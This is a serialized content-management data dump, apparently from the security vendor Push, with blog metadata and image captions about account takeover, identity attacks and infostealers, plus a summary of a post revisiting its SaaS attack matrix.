,{},[],{"data":175477,"marks":175478,"value":58511,"nodeType":865},{},[175479],{"type":926},{"data":175481,"marks":175482,"value":171734,"nodeType":865},{},[],{"data":175484,"content":175487,"nodeType":912},{"target":175485},{"sys":175486},{"id":171739,"type":909,"linkType":910},[],{"data":175489,"content":175490,"nodeType":866},{},[175491],{"data":175492,"marks":175493,"value":171747,"nodeType":865},{},[],{"data":175495,"content":175496,"nodeType":981},{},[175497],{"data":175498,"marks":175499,"value":171754,"nodeType":865},{},[],{"data":175501,"content":175502,"nodeType":866},{},[175503],{"data":175504,"marks":175505,"value":171761,"nodeType":865},{},[],{"data":175507,"content":175508,"nodeType":866},{},[175509],{"data":175510,"marks":175511,"value":171768,"nodeType":865},{},[],{"data":175513,"content":175514,"nodeType":866},{},[175515,175518,175524],{"data":175516,"marks":175517,"value":171775,"nodeType":865},{},[],{"data":175519,"content":175520,"nodeType":889},{"uri":126491},[175521],{"data":175522,"marks":175523,"value":171782,"nodeType":865},{},[],{"data":175525,"marks":175526,"value":171786,"nodeType":865},{},[],{"data":175528,"content":175529,"nodeType":981},{},[175530],{"data":175531,"marks":175532,"value":113824,"nodeType":865},{},[],{"data":175534,"content":175535,"nodeType":866},{},[175536,175539,175545],{"data":175537,"marks":175538,"value":171799,"nodeType":865},{},[],{"data":175540,"content":175541,"nodeType":889},{"uri":126947},[175542],{"data":175543,"marks":175544,"value":14066,"nodeType":865},{},[],{"data":175546,"marks":175547,"value":171809,"nodeType":865},{},[],{"items":175549},[175550,175552],{"sys":175551,"name":126984},{"id":126983},{"sys":175553,"name":342},{"id":4642},{"items":175555},[175556],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":175557},{"url":6503},"blog/the-saas-attack-matrix-one-year-on",{"json":175560},{"data":175561,"content":175562,"nodeType":1382},{},[175563],{"data":175564,"content":175565,"nodeType":866},{},[175566],{"data":175567,"marks":175568,"value":175569,"nodeType":865},{},[],"It’s been almost exactly a year since we released the SaaS attack matrix – our open source repository of SaaS-native attack techniques. So, it’s a good time to look at what’s changed, and which techniques we’ve seen rise to prominence in the wild.",{"id":169058,"publishedAt":175571},"2026-08-13T09:35:39.358Z",{"items":175573},[175574,175576],{"sys":175575,"name":7796},{"id":7795},{"sys":175577,"name":342},{"id":4642},{"items":175579},[175580,175582,175584,175586,175588,175590,175592,175594,175596,175598,175600,175602,175604,175606,175608,175610,175612,175614,175616,175618,175620],{"sys":175581,"name":279,"slug":280,"tier":31},{"id":276},{"sys":175583,"name":413,"slug":414,"tier":31},{"id":410},{"sys":175585,"name":545,"slug":546,"tier":31},{"id":542},{"sys":175587,"name":519,"slug":520,"tier":31},{"id":516},{"sys":175589,"name":342,"slug":343,"tier":31},{"id":339},{"sys":175591,"name":642,"slug":643,"tier":31},{"id":639},{"sys":175593,"name":404,"slug":405,"tier":45},{"id":401},{"sys":175595,"name":395,"slug":396,"tier":45},{"id":392},{"sys":175597,"name":261,"slug":262,"tier":45},{"id":258},{"sys":175599,"name":333,"slug":334,"tier":45},{"id":330},{"sys":175601,"name":571,"slug":572,"tier":45},{"id":568},{"sys":175603,"name":466,"slug":467,"tier":45},{"id":463},{"sys":175605,"name":422,"slug":423,"tier":45},{"id":419},{"sys":175607,"name":484,"slug":485,"tier":45},{"id":481},{"sys":175609,"name":360,"slug":361,"tier":45},{"id":357},{"sys":175611,"name":324,"slug":325,"tier":45},{"id":321},{"sys":175613,"name":475,"slug":476,"tier":45},{"id":472},{"sys":175615,"name":493,"slug":494,"tier":45},{"id":490},{"sys":175617,"name":457,"slug":458,"tier":45},{"id":454},{"sys":175619,"name":528,"slug":529,"tier":45},{"id":525},{"sys":175621,"name":607,"slug":608,"tier":45},{"id":604},"1qLYwpklFCCOQjGasNIGRR4kcmC-AB4PH8sAombT0uI",{"id":175624,"title":169042,"authorsCollection":175625,"content":175630,"extension":228,"faqItemsCollection":176783,"faqTitle":59,"featured":6,"hashTags":59,"meta":176785,"metaTitle":176786,"ogImage":176787,"postType":87741,"publishedDate":169044,"relatedBlogPostsCollection":176788,"slug":169045,"stem":178642,"subtitle":59,"summary":178643,"synopsis":169043,"sys":178654,"tagsCollection":178656,"topicsCollection":178662,"__hash__":178702},"blog/blog/how-to-prevent-account-takeover-with-push.json",{"items":175626},[175627],{"fullName":4614,"firstName":4615,"jobTitle":4616,"socialLinks":175628,"profilePicture":175629},[23886],{"url":4618},{"json":175631,"links":176675},{"data":175632,"content":175633,"nodeType":1382},{},[175634,175640,175656,175662,175667,175673,175699,175704,175709,175715,175721,175726,175732,175748,175754,175760,175765,175771,175777,175819,175835,175841,175847,175853,175858,175864,175870,175876,175882,175888,175894,175904,175909,175915,175930,175946,175952,175958,175974,175980,175995,176001,176043,176049,176065,176071,176076,176091,176107,176113,176129,176135,176140,176146,176162,176168,176174,176179,176185,176191,176197,176203,176208,176214,176220,176226,176232,176237,176243,176249,176259,176272,176278,176284,176344,176350,176356,176362,176368,176374,176380,176386,176392,176408,176414,176419,176425,176430,176436,176442,176448,176453,176459,176465,176471,176501,176507,176513,176519,176525,176531,176537,176543,176549,176591,176596,176602,176638,176643,176649,176664,176669],{"data":175635,"content":175636,"nodeType":866},{},[175637],{"data":175638,"marks":175639,"value":167840,"nodeType":865},{},[],{"data":175641,"content":175642,"nodeType":866},{},[175643,175646,175653],{"data":175644,"marks":175645,"value":167847,"nodeType":865},{},[],{"data":175647,"content":175648,"nodeType":889},{"uri":167850},[175649],{"data":175650,"marks":175651,"value":167856,"nodeType":865},{},[175652],{"type":943},{"data":175654,"marks":175655,"value":167860,"nodeType":865},{},[],{"data":175657,"content":175658,"nodeType":866},{},[175659],{"data":175660,"marks":175661,"value":167867,"nodeType":865},{},[],{"data":175663,"content":175666,"nodeType":912},{"target":175664},{"sys":175665},{"id":167872,"type":909,"linkType":910},[],{"data":175668,"content":175669,"nodeType":866},{},[175670],{"data":175671,"marks":175672,"value":167880,"nodeType":865},{},[],{"data":175674,"content":175675,"nodeType":866},{},[175676,175679,175686,175689,175696],{"data":175677,"marks":175678,"value":167887,"nodeType":865},{},[],{"data":175680,"content":175681,"nodeType":889},{"uri":167890},[175682],{"data":175683,"marks":175684,"value":13502,"nodeType":865},{},[175685],{"type":943},{"data":175687,"marks":175688,"value":167899,"nodeType":865},{},[],{"data":175690,"content":175691,"nodeType":889},{"uri":127868},[175692],{"data":175693,"marks":175694,"value":167907,"nodeType":865},{},[175695],{"type":943},{"data":175697,"marks":175698,"value":167911,"nodeType":865},{},[],{"data":175700,"content":175703,"nodeType":912},{"target":175701},{"sys":175702},{"id":167916,"type":909,"linkType":910},[],{"data":175705,"content":175708,"nodeType":912},{"target":175706},{"sys":175707},{"id":167922,"type":909,"linkType":910},[],{"data":175710,"content":175711,"nodeType":866},{},[175712],{"data":175713,"marks":175714,"value":167930,"nodeType":865},{},[],{"data":175716,"content":175717,"nodeType":866},{},[175718],{"data":175719,"marks":175720,"value":167937,"nodeType":865},{},[],{"data":175722,"content":175725,"nodeType":912},{"target":175723},{"sys":175724},{"id":167942,"type":909,"linkType":910},[],{"data":175727,"content":175728,"nodeType":866},{},[175729],{"data":175730,"marks":175731,"value":167950,"nodeType":865},{},[],{"data":175733,"content":175734,"nodeType":866},{},[175735,175738,175745],{"data":175736,"marks":175737,"value":167957,"nodeType":865},{},[],{"data":175739,"content":175740,"nodeType":889},{"uri":167960},[175741],{"data":175742,"marks":175743,"value":167966,"nodeType":865},{},[175744],{"type":943},{"data":175746,"marks":175747,"value":167970,"nodeType":865},{},[],{"data":175749,"content":175750,"nodeType":981},{},[175751],{"data":175752,"marks":175753,"value":167977,"nodeType":865},{},[],{"data":175755,"content":175756,"nodeType":866},{},[175757],{"data":175758,"marks":175759,"value":167984,"nodeType":865},{},[],{"data":175761,"content":175764,"nodeType":912},{"target":175762},{"sys":175763},{"id":167989,"type":909,"linkType":910},[],{"data":175766,"content":175767,"nodeType":866},{},[175768],{"data":175769,"marks":175770,"value":167997,"nodeType":865},{},[],{"data":175772,"content":175773,"nodeType":866},{},[175774],{"data":175775,"marks":175776,"value":168004,"nodeType":865},{},[],{"data":175778,"content":175779,"nodeType":1616},{},[175780,175793,175806],{"data":175781,"content":175782,"nodeType":1570},{},[175783],{"data":175784,"content":175785,"nodeType":866},{},[175786,175790],{"data":175787,"marks":175788,"value":168018,"nodeType":865},{},[175789],{"type":926},{"data":175791,"marks":175792,"value":168022,"nodeType":865},{},[],{"data":175794,"content":175795,"nodeType":1570},{},[175796],{"data":175797,"content":175798,"nodeType":866},{},[175799,175803],{"data":175800,"marks":175801,"value":168033,"nodeType":865},{},[175802],{"type":926},{"data":175804,"marks":175805,"value":168037,"nodeType":865},{},[],{"data":175807,"content":175808,"nodeType":1570},{},[175809],{"data":175810,"content":175811,"nodeType":866},{},[175812,175816],{"data":175813,"marks":175814,"value":168048,"nodeType":865},{},[175815],{"type":926},{"data":175817,"marks":175818,"value":168052,"nodeType":865},{},[],{"data":175820,"content":175821,"nodeType":866},{},[175822,175825,175832],{"data":175823,"marks":175824,"value":168059,"nodeType":865},{},[],{"data":175826,"content":175827,"nodeType":889},{"uri":110403},[175828],{"data":175829,"marks":175830,"value":168067,"nodeType":865},{},[175831],{"type":943},{"data":175833,"marks":175834,"value":1615,"nodeType":865},{},[],{"data":175836,"content":175837,"nodeType":866},{},[175838],{"data":175839,"marks":175840,"value":168077,"nodeType":865},{},[],{"data":175842,"content":175843,"nodeType":981},{},[175844],{"data":175845,"marks":175846,"value":168084,"nodeType":865},{},[],{"data":175848,"content":175849,"nodeType":866},{},[175850],{"data":175851,"marks":175852,"value":168091,"nodeType":865},{},[],{"data":175854,"content":175857,"nodeType":912},{"target":175855},{"sys":175856},{"id":134748,"type":909,"linkType":910},[],{"data":175859,"content":175860,"nodeType":866},{},[175861],{"data":175862,"marks":175863,"value":168103,"nodeType":865},{},[],{"data":175865,"content":175866,"nodeType":866},{},[175867],{"data":175868,"marks":175869,"value":168110,"nodeType":865},{},[],{"data":175871,"content":175872,"nodeType":1317},{},[175873],{"data":175874,"marks":175875,"value":168117,"nodeType":865},{},[],{"data":175877,"content":175878,"nodeType":866},{},[175879],{"data":175880,"marks":175881,"value":168124,"nodeType":865},{},[],{"data":175883,"content":175884,"nodeType":866},{},[175885],{"data":175886,"marks":175887,"value":168131,"nodeType":865},{},[],{"data":175889,"content":175890,"nodeType":866},{},[175891],{"data":175892,"marks":175893,"value":168138,"nodeType":865},{},[],{"data":175895,"content":175896,"nodeType":866},{},[175897,175901],{"data":175898,"marks":175899,"value":168146,"nodeType":865},{},[175900],{"type":926},{"data":175902,"marks":175903,"value":168150,"nodeType":865},{},[],{"data":175905,"content":175908,"nodeType":912},{"target":175906},{"sys":175907},{"id":168155,"type":909,"linkType":910},[],{"data":175910,"content":175911,"nodeType":866},{},[175912],{"data":175913,"marks":175914,"value":168163,"nodeType":865},{},[],{"data":175916,"content":175917,"nodeType":866},{},[175918,175921,175927],{"data":175919,"marks":175920,"value":168170,"nodeType":865},{},[],{"data":175922,"content":175923,"nodeType":889},{"uri":168173},[175924],{"data":175925,"marks":175926,"value":157843,"nodeType":865},{},[],{"data":175928,"marks":175929,"value":168181,"nodeType":865},{},[],{"data":175931,"content":175932,"nodeType":866},{},[175933,175936,175943],{"data":175934,"marks":175935,"value":168188,"nodeType":865},{},[],{"data":175937,"content":175938,"nodeType":889},{"uri":67859},[175939],{"data":175940,"marks":175941,"value":168196,"nodeType":865},{},[175942],{"type":943},{"data":175944,"marks":175945,"value":14251,"nodeType":865},{},[],{"data":175947,"content":175948,"nodeType":1317},{},[175949],{"data":175950,"marks":175951,"value":168206,"nodeType":865},{},[],{"data":175953,"content":175954,"nodeType":866},{},[175955],{"data":175956,"marks":175957,"value":168213,"nodeType":865},{},[],{"data":175959,"content":175960,"nodeType":866},{},[175961,175964,175971],{"data":175962,"marks":175963,"value":168220,"nodeType":865},{},[],{"data":175965,"content":175966,"nodeType":889},{"uri":168223},[175967],{"data":175968,"marks":175969,"value":168229,"nodeType":865},{},[175970],{"type":943},{"data":175972,"marks":175973,"value":168233,"nodeType":865},{},[],{"data":175975,"content":175976,"nodeType":866},{},[175977],{"data":175978,"marks":175979,"value":168240,"nodeType":865},{},[],{"data":175981,"content":175982,"nodeType":866},{},[175983,175986,175992],{"data":175984,"marks":175985,"value":168247,"nodeType":865},{},[],{"data":175987,"content":175988,"nodeType":889},{"uri":131895},[175989],{"data":175990,"marks":175991,"value":168254,"nodeType":865},{},[],{"data":175993,"marks":175994,"value":1615,"nodeType":865},{},[],{"data":175996,"content":175997,"nodeType":1317},{},[175998],{"data":175999,"marks":176000,"value":168264,"nodeType":865},{},[],{"data":176002,"content":176003,"nodeType":866},{},[176004,176007,176013,176016,176022,176025,176031,176034,176040],{"data":176005,"marks":176006,"value":168271,"nodeType":865},{},[],{"data":176008,"content":176009,"nodeType":889},{"uri":168274},[176010],{"data":176011,"marks":176012,"value":168279,"nodeType":865},{},[],{"data":176014,"marks":176015,"value":2717,"nodeType":865},{},[],{"data":176017,"content":176018,"nodeType":889},{"uri":168285},[176019],{"data":176020,"marks":176021,"value":168290,"nodeType":865},{},[],{"data":176023,"marks":176024,"value":2717,"nodeType":865},{},[],{"data":176026,"content":176027,"nodeType":889},{"uri":168296},[176028],{"data":176029,"marks":176030,"value":168301,"nodeType":865},{},[],{"data":176032,"marks":176033,"value":4988,"nodeType":865},{},[],{"data":176035,"content":176036,"nodeType":889},{"uri":168307},[176037],{"data":176038,"marks":176039,"value":168312,"nodeType":865},{},[],{"data":176041,"marks":176042,"value":14251,"nodeType":865},{},[],{"data":176044,"content":176045,"nodeType":866},{},[176046],{"data":176047,"marks":176048,"value":168322,"nodeType":865},{},[],{"data":176050,"content":176051,"nodeType":866},{},[176052,176055,176062],{"data":176053,"marks":176054,"value":168329,"nodeType":865},{},[],{"data":176056,"content":176057,"nodeType":889},{"uri":168332},[176058],{"data":176059,"marks":176060,"value":168338,"nodeType":865},{},[176061],{"type":943},{"data":176063,"marks":176064,"value":14251,"nodeType":865},{},[],{"data":176066,"content":176067,"nodeType":866},{},[176068],{"data":176069,"marks":176070,"value":168348,"nodeType":865},{},[],{"data":176072,"content":176075,"nodeType":912},{"target":176073},{"sys":176074},{"id":123799,"type":909,"linkType":910},[],{"data":176077,"content":176078,"nodeType":866},{},[176079,176082,176088],{"data":176080,"marks":176081,"value":168360,"nodeType":865},{},[],{"data":176083,"content":176084,"nodeType":889},{"uri":168173},[176085],{"data":176086,"marks":176087,"value":157843,"nodeType":865},{},[],{"data":176089,"marks":176090,"value":168370,"nodeType":865},{},[],{"data":176092,"content":176093,"nodeType":866},{},[176094,176097,176104],{"data":176095,"marks":176096,"value":168377,"nodeType":865},{},[],{"data":176098,"content":176099,"nodeType":889},{"uri":131844},[176100],{"data":176101,"marks":176102,"value":168385,"nodeType":865},{},[176103],{"type":943},{"data":176105,"marks":176106,"value":14251,"nodeType":865},{},[],{"data":176108,"content":176109,"nodeType":981},{},[176110],{"data":176111,"marks":176112,"value":168395,"nodeType":865},{},[],{"data":176114,"content":176115,"nodeType":866},{},[176116,176119,176126],{"data":176117,"marks":176118,"value":168402,"nodeType":865},{},[],{"data":176120,"content":176121,"nodeType":889},{"uri":13054},[176122],{"data":176123,"marks":176124,"value":3493,"nodeType":865},{},[176125],{"type":943},{"data":176127,"marks":176128,"value":168413,"nodeType":865},{},[],{"data":176130,"content":176131,"nodeType":866},{},[176132],{"data":176133,"marks":176134,"value":168420,"nodeType":865},{},[],{"data":176136,"content":176139,"nodeType":912},{"target":176137},{"sys":176138},{"id":168425,"type":909,"linkType":910},[],{"data":176141,"content":176142,"nodeType":866},{},[176143],{"data":176144,"marks":176145,"value":168433,"nodeType":865},{},[],{"data":176147,"content":176148,"nodeType":866},{},[176149,176152,176159],{"data":176150,"marks":176151,"value":162657,"nodeType":865},{},[],{"data":176153,"content":176154,"nodeType":889},{"uri":162660},[176155],{"data":176156,"marks":176157,"value":162666,"nodeType":865},{},[176158],{"type":943},{"data":176160,"marks":176161,"value":1615,"nodeType":865},{},[],{"data":176163,"content":176164,"nodeType":866},{},[176165],{"data":176166,"marks":176167,"value":168456,"nodeType":865},{},[],{"data":176169,"content":176170,"nodeType":866},{},[176171],{"data":176172,"marks":176173,"value":168463,"nodeType":865},{},[],{"data":176175,"content":176178,"nodeType":912},{"target":176176},{"sys":176177},{"id":168468,"type":909,"linkType":910},[],{"data":176180,"content":176181,"nodeType":1317},{},[176182],{"data":176183,"marks":176184,"value":168476,"nodeType":865},{},[],{"data":176186,"content":176187,"nodeType":866},{},[176188],{"data":176189,"marks":176190,"value":168483,"nodeType":865},{},[],{"data":176192,"content":176193,"nodeType":866},{},[176194],{"data":176195,"marks":176196,"value":168490,"nodeType":865},{},[],{"data":176198,"content":176199,"nodeType":866},{},[176200],{"data":176201,"marks":176202,"value":168497,"nodeType":865},{},[],{"data":176204,"content":176207,"nodeType":912},{"target":176205},{"sys":176206},{"id":123928,"type":909,"linkType":910},[],{"data":176209,"content":176210,"nodeType":1317},{},[176211],{"data":176212,"marks":176213,"value":168509,"nodeType":865},{},[],{"data":176215,"content":176216,"nodeType":866},{},[176217],{"data":176218,"marks":176219,"value":168516,"nodeType":865},{},[],{"data":176221,"content":176222,"nodeType":866},{},[176223],{"data":176224,"marks":176225,"value":168523,"nodeType":865},{},[],{"data":176227,"content":176228,"nodeType":866},{},[176229],{"data":176230,"marks":176231,"value":168530,"nodeType":865},{},[],{"data":176233,"content":176236,"nodeType":912},{"target":176234},{"sys":176235},{"id":168535,"type":909,"linkType":910},[],{"data":176238,"content":176239,"nodeType":981},{},[176240],{"data":176241,"marks":176242,"value":168543,"nodeType":865},{},[],{"data":176244,"content":176245,"nodeType":866},{},[176246],{"data":176247,"marks":176248,"value":168550,"nodeType":865},{},[],{"data":176250,"content":176251,"nodeType":866},{},[176252,176256],{"data":176253,"marks":176254,"value":168558,"nodeType":865},{},[176255],{"type":926},{"data":176257,"marks":176258,"value":168562,"nodeType":865},{},[],{"data":176260,"content":176261,"nodeType":866},{},[176262,176265,176269],{"data":176263,"marks":176264,"value":168569,"nodeType":865},{},[],{"data":176266,"marks":176267,"value":168574,"nodeType":865},{},[176268],{"type":926},{"data":176270,"marks":176271,"value":168578,"nodeType":865},{},[],{"data":176273,"content":176274,"nodeType":866},{},[176275],{"data":176276,"marks":176277,"value":168585,"nodeType":865},{},[],{"data":176279,"content":176280,"nodeType":866},{},[176281],{"data":176282,"marks":176283,"value":168592,"nodeType":865},{},[],{"data":176285,"content":176286,"nodeType":1616},{},[176287,176306,176325],{"data":176288,"content":176289,"nodeType":1570},{},[176290],{"data":176291,"content":176292,"nodeType":866},{},[176293,176296,176303],{"data":176294,"marks":176295,"value":168605,"nodeType":865},{},[],{"data":176297,"content":176298,"nodeType":889},{"uri":13054},[176299],{"data":176300,"marks":176301,"value":3493,"nodeType":865},{},[176302],{"type":943},{"data":176304,"marks":176305,"value":14251,"nodeType":865},{},[],{"data":176307,"content":176308,"nodeType":1570},{},[176309],{"data":176310,"content":176311,"nodeType":866},{},[176312,176315,176322],{"data":176313,"marks":176314,"value":168625,"nodeType":865},{},[],{"data":176316,"content":176317,"nodeType":889},{"uri":115681},[176318],{"data":176319,"marks":176320,"value":168633,"nodeType":865},{},[176321],{"type":943},{"data":176323,"marks":176324,"value":1615,"nodeType":865},{},[],{"data":176326,"content":176327,"nodeType":1570},{},[176328],{"data":176329,"content":176330,"nodeType":866},{},[176331,176334,176341],{"data":176332,"marks":176333,"value":168646,"nodeType":865},{},[],{"data":176335,"content":176336,"nodeType":889},{"uri":168649},[176337],{"data":176338,"marks":176339,"value":168655,"nodeType":865},{},[176340],{"type":943},{"data":176342,"marks":176343,"value":113401,"nodeType":865},{},[],{"data":176345,"content":176346,"nodeType":866},{},[176347],{"data":176348,"marks":176349,"value":168665,"nodeType":865},{},[],{"data":176351,"content":176352,"nodeType":1317},{},[176353],{"data":176354,"marks":176355,"value":168672,"nodeType":865},{},[],{"data":176357,"content":176358,"nodeType":866},{},[176359],{"data":176360,"marks":176361,"value":168679,"nodeType":865},{},[],{"data":176363,"content":176364,"nodeType":866},{},[176365],{"data":176366,"marks":176367,"value":168686,"nodeType":865},{},[],{"data":176369,"content":176370,"nodeType":866},{},[176371],{"data":176372,"marks":176373,"value":168693,"nodeType":865},{},[],{"data":176375,"content":176376,"nodeType":866},{},[176377],{"data":176378,"marks":176379,"value":168700,"nodeType":865},{},[],{"data":176381,"content":176382,"nodeType":1317},{},[176383],{"data":176384,"marks":176385,"value":168707,"nodeType":865},{},[],{"data":176387,"content":176388,"nodeType":866},{},[176389],{"data":176390,"marks":176391,"value":168714,"nodeType":865},{},[],{"data":176393,"content":176394,"nodeType":866},{},[176395,176398,176405],{"data":176396,"marks":176397,"value":168721,"nodeType":865},{},[],{"data":176399,"content":176400,"nodeType":889},{"uri":6710},[176401],{"data":176402,"marks":176403,"value":168729,"nodeType":865},{},[176404],{"type":943},{"data":176406,"marks":176407,"value":14251,"nodeType":865},{},[],{"data":176409,"content":176410,"nodeType":866},{},[176411],{"data":176412,"marks":176413,"value":168739,"nodeType":865},{},[],{"data":176415,"content":176418,"nodeType":912},{"target":176416},{"sys":176417},{"id":168744,"type":909,"linkType":910},[],{"data":176420,"content":176421,"nodeType":866},{},[176422],{"data":176423,"marks":176424,"value":168752,"nodeType":865},{},[],{"data":176426,"content":176429,"nodeType":912},{"target":176427},{"sys":176428},{"id":168757,"type":909,"linkType":910},[],{"data":176431,"content":176432,"nodeType":1317},{},[176433],{"data":176434,"marks":176435,"value":168765,"nodeType":865},{},[],{"data":176437,"content":176438,"nodeType":866},{},[176439],{"data":176440,"marks":176441,"value":168772,"nodeType":865},{},[],{"data":176443,"content":176444,"nodeType":866},{},[176445],{"data":176446,"marks":176447,"value":168779,"nodeType":865},{},[],{"data":176449,"content":176452,"nodeType":912},{"target":176450},{"sys":176451},{"id":168784,"type":909,"linkType":910},[],{"data":176454,"content":176455,"nodeType":1317},{},[176456],{"data":176457,"marks":176458,"value":168792,"nodeType":865},{},[],{"data":176460,"content":176461,"nodeType":866},{},[176462],{"data":176463,"marks":176464,"value":168799,"nodeType":865},{},[],{"data":176466,"content":176467,"nodeType":866},{},[176468],{"data":176469,"marks":176470,"value":168806,"nodeType":865},{},[],{"data":176472,"content":176473,"nodeType":1616},{},[176474,176483,176492],{"data":176475,"content":176476,"nodeType":1570},{},[176477],{"data":176478,"content":176479,"nodeType":866},{},[176480],{"data":176481,"marks":176482,"value":168819,"nodeType":865},{},[],{"data":176484,"content":176485,"nodeType":1570},{},[176486],{"data":176487,"content":176488,"nodeType":866},{},[176489],{"data":176490,"marks":176491,"value":168829,"nodeType":865},{},[],{"data":176493,"content":176494,"nodeType":1570},{},[176495],{"data":176496,"content":176497,"nodeType":866},{},[176498],{"data":176499,"marks":176500,"value":168839,"nodeType":865},{},[],{"data":176502,"content":176503,"nodeType":866},{},[176504],{"data":176505,"marks":176506,"value":168846,"nodeType":865},{},[],{"data":176508,"content":176509,"nodeType":1317},{},[176510],{"data":176511,"marks":176512,"value":168853,"nodeType":865},{},[],{"data":176514,"content":176515,"nodeType":866},{},[176516],{"data":176517,"marks":176518,"value":168860,"nodeType":865},{},[],{"data":176520,"content":176521,"nodeType":866},{},[176522],{"data":176523,"marks":176524,"value":168867,"nodeType":865},{},[],{"data":176526,"content":176527,"nodeType":866},{},[176528],{"data":176529,"marks":176530,"value":168874,"nodeType":865},{},[],{"data":176532,"content":176533,"nodeType":1317},{},[176534],{"data":176535,"marks":176536,"value":168881,"nodeType":865},{},[],{"data":176538,"content":176539,"nodeType":866},{},[176540],{"data":176541,"marks":176542,"value":168888,"nodeType":865},{},[],{"data":176544,"content":176545,"nodeType":866},{},[176546],{"data":176547,"marks":176548,"value":168895,"nodeType":865},{},[],{"data":176550,"content":176551,"nodeType":1616},{},[176552,176565,176578],{"data":176553,"content":176554,"nodeType":1570},{},[176555],{"data":176556,"content":176557,"nodeType":866},{},[176558,176562],{"data":176559,"marks":176560,"value":168909,"nodeType":865},{},[176561],{"type":926},{"data":176563,"marks":176564,"value":168913,"nodeType":865},{},[],{"data":176566,"content":176567,"nodeType":1570},{},[176568],{"data":176569,"content":176570,"nodeType":866},{},[176571,176575],{"data":176572,"marks":176573,"value":168924,"nodeType":865},{},[176574],{"type":926},{"data":176576,"marks":176577,"value":168928,"nodeType":865},{},[],{"data":176579,"content":176580,"nodeType":1570},{},[176581],{"data":176582,"content":176583,"nodeType":866},{},[176584,176588],{"data":176585,"marks":176586,"value":168939,"nodeType":865},{},[176587],{"type":926},{"data":176589,"marks":176590,"value":168943,"nodeType":865},{},[],{"data":176592,"content":176595,"nodeType":912},{"target":176593},{"sys":176594},{"id":168948,"type":909,"linkType":910},[],{"data":176597,"content":176598,"nodeType":981},{},[176599],{"data":176600,"marks":176601,"value":168956,"nodeType":865},{},[],{"data":176603,"content":176604,"nodeType":866},{},[176605,176608,176614,176617,176621,176624,176628,176631,176635],{"data":176606,"marks":176607,"value":168963,"nodeType":865},{},[],{"data":176609,"content":176610,"nodeType":889},{"uri":168966},[176611],{"data":176612,"marks":176613,"value":136538,"nodeType":865},{},[],{"data":176615,"marks":176616,"value":168974,"nodeType":865},{},[],{"data":176618,"marks":176619,"value":168979,"nodeType":865},{},[176620],{"type":926},{"data":176622,"marks":176623,"value":2717,"nodeType":865},{},[],{"data":176625,"marks":176626,"value":168987,"nodeType":865},{},[176627],{"type":926},{"data":176629,"marks":176630,"value":168991,"nodeType":865},{},[],{"data":176632,"marks":176633,"value":87,"nodeType":865},{},[176634],{"type":926},{"data":176636,"marks":176637,"value":168999,"nodeType":865},{},[],{"data":176639,"content":176642,"nodeType":912},{"target":176640},{"sys":176641},{"id":169004,"type":909,"linkType":910},[],{"data":176644,"content":176645,"nodeType":1317},{},[176646],{"data":176647,"marks":176648,"value":169012,"nodeType":865},{},[],{"data":176650,"content":176651,"nodeType":866},{},[176652,176655,176661],{"data":176653,"marks":176654,"value":169019,"nodeType":865},{},[],{"data":176656,"content":176657,"nodeType":889},{"uri":16069},[176658],{"data":176659,"marks":176660,"value":14066,"nodeType":865},{},[],{"data":176662,"marks":176663,"value":169029,"nodeType":865},{},[],{"data":176665,"content":176668,"nodeType":912},{"target":176666},{"sys":176667},{"id":169034,"type":909,"linkType":910},[],{"data":176670,"content":176671,"nodeType":866},{},[176672],{"data":176673,"marks":176674,"value":21,"nodeType":865},{},[],{"entries":176676},{"hyperlink":176677,"inline":176678,"block":176679},[],[],[176680,176688,176696,176699,176706,176712,176715,176721,176724,176730,176733,176736,176744,176751,176757,176764,176772,176780],{"sys":176681,"__typename":1390,"title":176682,"caption":176683,"layoutMode":59,"file":176684},{"id":167872},"DBIR stolen credentials graphic","Identity attack techniques were by far the most prevalent initial access vectors in this year's Verizon DBIR.",{"url":176685,"width":176686,"height":176687},"https://images.ctfassets.net/y1cdw1ablpvd/QCYpzmm2CKDnBI1KZXJv9/3b9b565137fc91fb447bf8c611db6d5e/Group_343.png",370,646,{"sys":176689,"__typename":1390,"title":176690,"caption":176691,"layoutMode":59,"file":176692},{"id":167916},"Identity breach timeline","The rise in identity attacks should come as no surprise to any of us. While attackers are bad people, they’re still mostly rational bad people who will take the easy road.",{"url":176693,"width":176694,"height":176695},"https://images.ctfassets.net/y1cdw1ablpvd/4EoLhIzCo8VythFPqt0tIA/460d6b2fdab727fe4036569a2505aedd/image1.png",1768,994,{"sys":176697,"__typename":1414,"type":1415,"ctaText":176698,"buttonLabel":131401,"buttonColour":148156,"buttonUrl":127868},{"id":167922},"Learn more about the timeline of recent identity attacks in the wild.",{"sys":176700,"__typename":1390,"title":176701,"caption":176702,"layoutMode":59,"file":176703},{"id":167942},"Comparing attack paths for identity, network, and endpoint attacks. ","Attackers are now targeting identities to avoid established endpoint and network security controls. ",{"url":176704,"width":176705,"height":163895},"https://images.ctfassets.net/y1cdw1ablpvd/2ZleNOvt5jsBQ7RTds5BBN/f73fe9434abb44914ba339d2d94860e6/image10.png",1201,{"sys":176707,"__typename":1390,"title":176708,"caption":176709,"layoutMode":59,"file":176710},{"id":167989},"How Push prevents account takeover","Push prevents account takeover using controls aligned with each stage of the attack chain.",{"url":176711,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/5K3kIkyFYdd3xFbOLAS7wd/ec2986c842a7c48a7b82e3bfcd19277d/Slide_16_9_-_40__1_.png",{"sys":176713,"__typename":1390,"title":142197,"caption":142198,"layoutMode":59,"file":176714},{"id":134748},{"url":142200,"width":142201,"height":142202},{"sys":176716,"__typename":1390,"title":176717,"caption":176718,"layoutMode":59,"file":176719},{"id":168155},"SSO Password Protection","Push blocks malicious logins before the user can be phished.",{"url":176720,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/NswNmrq9QBqinx9ssS2Fz/18b4cdf6c4bff3274c289a4185b4204f/image5.png",{"sys":176722,"__typename":1390,"title":129346,"caption":129347,"layoutMode":59,"file":176723},{"id":123799},{"url":129349,"width":55424,"height":129350},{"sys":176725,"__typename":1390,"title":176726,"caption":176726,"layoutMode":59,"file":176727},{"id":168425},"The 2024 Sophos Threat Report shows the prevalence of info stealer malware.",{"url":176728,"width":16,"height":176729},"https://images.ctfassets.net/y1cdw1ablpvd/ntLmjUBbgKFILEraHAiLC/dbefc5df68c0260dd6301237af4ba49a/image3.png",432,{"sys":176731,"__typename":1414,"type":1415,"ctaText":176732,"buttonLabel":131401,"buttonColour":1418,"buttonUrl":132077},{"id":168468},"For more information on infostealers, check out our recent blog 